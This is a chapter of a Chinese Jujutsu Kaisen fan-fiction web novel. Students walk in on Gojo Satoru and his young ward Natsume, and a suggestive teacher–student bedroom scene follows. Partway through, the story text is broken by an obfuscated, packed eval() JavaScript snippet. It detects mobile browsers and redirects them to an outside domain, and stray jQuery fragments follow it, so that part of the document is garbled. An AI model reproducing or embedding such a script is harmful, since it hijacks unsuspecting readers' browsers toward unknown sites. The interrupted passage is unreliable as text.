20.第二十章
作品:《术式是猫薄荷》 乙骨忧太曾经向伏黑惠询问过一个问题。
“五条老师和朝雾,到底是什么关系?”
作为伏黑惠心中“唯一值得尊敬的前辈”,他思考了很久,才给出了自认为很靠谱的看法。
“很特殊的关系,无法用语言来形容。”
“看起来有点像埃勒克特拉情结?但又不是那种……暧昧的关系。”
“五条老师是她的生存必需品。”
“重要程度就像阳光、空气和干净的水。”
闻言,乙骨忧太皱了皱眉:“但好像还是有些微妙的不同?”
伏黑惠很认真地分析着:“因为是异性,所以很容易被误会吧。”
乙骨忧太不解:“真的是误会吗?”
“直白的说,没睡过,”伏黑惠打断了他的犹疑,脸颊红了红,继续说,“我很确定,绝对不是乙骨前辈担心的那种关系。”
“如果真的喜欢她,请正大光明地追求她。”
“不需要在意五条老师。”
……
至此,回忆结束。
时间回到现在,伏黑惠严重怀疑,自己以前都是瞎的。
说到底,他怎么会觉得,关系如此亲密的异性之间,完全不存在暧昧关系呢?
他眼睁睁地看着衣衫不整的少女,脸颊红到滴血,甚至连看都不敢看过来一眼。
她手忙脚乱地抱起一堆东西,低着头、逃命似的跑到楼上去了。
但她抱的东西太多,臂弯又太浅,以至于在逃跑的过程中,掉落了一只高跟鞋。
堪称“美丽刑具”的12公分红底细高跟,从楼梯上滚落下来。
就像童话故事里,灰姑娘被迫丢下了一只水晶鞋。
五条悟走过去,捡起了那只高跟鞋。
但他的动作稍微犹豫了一下。
可能是因为不知道把它放到哪里合适,所以将高跟鞋重新立起来,放回到台阶上。
“怎么不摁门铃?”
五条悟的口吻很平淡,和谈论“今晚吃披萨还是吃蛋包饭?”这种无关痛痒的问题没什么区别。
他继续说:“你们突然进来吓到她了。”
这一刻,伏黑惠的表情突然变得难看极了。
他忍不住抱怨般地说:“从来都没摁过吧,五条老师又不会带女人回家。”
平心而论,五条悟毕竟是个二十八岁的成年男人。
就算哪天突然撞见他在客厅里和哪个女人做这种事,伏黑惠也不会觉得意外。
但他从没想过,这么多年来,第一次撞见这种画面,居然是五条悟和朝雾夏珍。
居然是朝雾夏珍!
和伏黑惠震惊到无法接受的状况相比,五条悟对此却毫不在意。
“啊,也对,”男人点了点头,十分自然地嘱咐着他,“那从今天开始记得摁门铃哦。”
闻言,伏黑惠气得不行。
但他不明白,这种气恼的情绪从何而来。
可能是因为一直以来自认为对朝雾夏珍的“了解”被全部推翻?
也可能是因为五条悟此时此刻坦然的状态?
是的,坦然。
十分离谱的坦然,让人火大的坦然。
这男人被人撞见这一切后,居然完全无动于衷,还用那种稀松平常的活泼语气,笑着问他们想喝橙汁还是绿茶。
也对,他可是五条悟。
这世界上还没什么事能值得他放在心上。
咒术界高层判决的死刑,五条悟仅凭一人之力就能强行改成无限期的缓刑。
与之相对比,被学生们目睹和刚成年的女高中生疑似发生某种不正当关系这样的小事——完全不需要放在心上。
“惠,怎么了?”五条悟好奇地问他,“表情好差,身体不舒服吗?”
他甚至还有多余的心思,来关心学生的身体状况。
“没关系,”伏黑惠努力收敛起莫名其妙的情绪,然后说,“我回高专了。”
他本来就是送不认路的乙骨忧太来到这里,现在任务完成,也该离开了。
“那个……伏黑君,”乙骨对他说,“谢谢,带路辛苦了。”
闻言,伏黑惠抬起头。
他看到,靠谱的前辈脸色平淡,不靠谱的老师同样神色如常。
不正常的人,难道只有他一个吗?
他不敢再待下去了,毫不犹豫地转身离开。
-
夏珍跑到二楼,再也没敢露面。
她不知道那三个人在楼下谈些什么,也不知道伏黑惠和乙骨会怎样看待自己,更不知道五条悟怎么解释刚刚那种状况。
怎么解释?完全没法解释吧!
她把自己浸泡在浴缸里,被热水包裹的感觉,慢慢地治愈着她紧绷的心。
无所谓了。
夏珍决定破罐破摔。
她吹干头发,换上睡裙,准备直接开睡,什么都不去想了。
但她刚钻进被窝,卧室的门就被人从外面敲了两下。
“睡了吗?”
五条悟的声音从门外传来。
夏珍好像产生了某种应激反应似的,“腾”地一下从床上坐起来。
然后脑子短路般地回答:“已经睡了。”
……救命,她到底在做什么!
夏珍暗自嫌弃着自己,考虑明天要不要去医院挂个脑科。
她气恼地锤了两下床上的星黛露玩偶。
门外的男人又问:“我能进去吗?”
夏珍:……
夏珍:“等一下。”
她犹豫了好一会儿,最终还是像蜗牛一样蹭过去开门。
见到五条悟的那一刻,夏珍就觉得浑身不自在。
好像有很多缕细微的电流,在全身的血管里一刻不停地流窜着,感觉酥酥的。
那双毫无遮挡的苍蓝色眼睛,配合着银白色的长睫垂落,将目光朝她望了过来。
血管里的电流突然加码,让她的心脏瞬间麻了。
夏珍被电得不敢看他,目光飘忽不定,小声地问:“有、有事吗?”
五条悟说:“没什么,走之前想看看你。”
他对刚刚发生的事只字不提,似乎一切还是和以前一样。
不知是顾虑她那薄得像纸一样的脸皮,还是顾虑别的什么事。
夏珍继续问:“悟今晚不在这里住吗?”
五条悟:“和京都校的姊妹交流会要提前准备很多东西,所以这两天住高专比较方便。”
“喔……”夏珍讪讪地问,“悟要进来吗?”
“我可以进去么?”
“嗯,当然。”
女孩点头,然后将卧室的门彻底推开。
五条悟走进房间,顺手带上了门。
卧室的门被关上的那一刻,有一种很熟悉的暧昧感觉,突然浮现在夏珍的心头。
现在的情况,和前阵子在五条悟的卧室里那晚很像。
“啊、那个……”夏珍说,“稍等。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303598|181463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她跑到床头柜,拉开最上面一层的抽屉,拿出刚刚和他胡闹时顺走的眼罩。
“抱歉,是不是我太任性了,”夏珍的脸颊更红了,然后问,“悟,我可以帮、帮你……”
她的话没说完,稍微打量了一下两个人之间的身高差,不由得面露难色。
见状,五条悟顺势坐在了她的床边。
苍蓝色的眼睛盯着她,没说话,但态度十分配合。
夏珍捏着他的眼罩,提着裙摆爬上床,跪坐在他的身边。
她的动作看起来慢吞吞的,靠近他时,指.尖控制不住地轻颤。
将眼罩规规矩矩地帮他戴好,然后去揪他袖口的布料。
很像小猫做错事之后,主动蹭人的模样。
“我不知道乙骨君和小惠他们会来。”
“我不是故意让悟难堪的。”
“太丢脸了。”
“对不起……”
“不要讨厌我。”
她祈求着,然后把自己缩进男人的怀里,蹭了蹭他胸口处的衬衫。
听到她这样说,五条悟有点无奈:“我什么时候说过‘讨厌’你了?”
“从我们见面的第一天起,我从来都没说过这样的话吧?”
“为什么夏珍总是害怕这种事?”
“因为……真的害怕,”她抓紧他的衬衫,继续说,“我也不知道为什么。”
女孩抱着他的腰,黑色的长发有几缕钻进他的领口。
粉嫩的唇擦过离男人心脏最近的第二粒纽扣,将暧昧的氛围推至高点。
“如果悟对我做一些过分的事,我可能会稍微安心一点。”
她的一切,哪怕是她的生命,都是属于五条悟的,不属于她自己。
身体或许是她唯一能拿出手的东西。
但夏珍知道,在正常情况下,这种事是不可能发生的。
“是杰教你说这些的吗?”五条悟问,“还有最近那些事……”
五条悟的心思一向很敏锐。
朝雾夏珍最近变得越来越叛逆出格,归根结底就是始于那次诡异的“离家出走”。
也就是在那个时候,销声匿迹十年之久的特级诅咒师夏油君,首次被高专追查到了行踪。
“你真的不可以再和杰有任何接触,”五条悟说,“太危险了。”
夏珍:“但悟之前说过,夏油君不会伤害咒术师?”
“情况有点复杂,”五条悟说,“总之——”
“悟在意的只有安全吗?”夏珍问,“还是说,悟也在意我和夏油君的约会?或者……”
她没有把话说完,但暗示的意味十足,五条悟不可能听不出来。
男人握住她的双肩,垂眸看她。
那双苍蓝色的眼睛再一次被眼罩遮挡住,让夏珍没办法窥见他此刻的眼神。
他认真地说:“不要多想,安全当然是最重要的。”
“我不在家这段时间,忧太会住在一楼的客房。”
“从明天开始,他会负责接送你去学校。”
“夏珍自己也要小心一点。”
他很认真地嘱咐着她,尽量不主动流露出多余的情绪。
“所以,只是安全吗?”夏珍重复了一遍,“悟只是担心我的安全。”
“既然这样……”
她轻轻地拍掉男人握住自己肩膀的手,然后抬起头,鼓起勇气直视着他。
“如果我和乙骨君约会,悟应该不会生气吧?”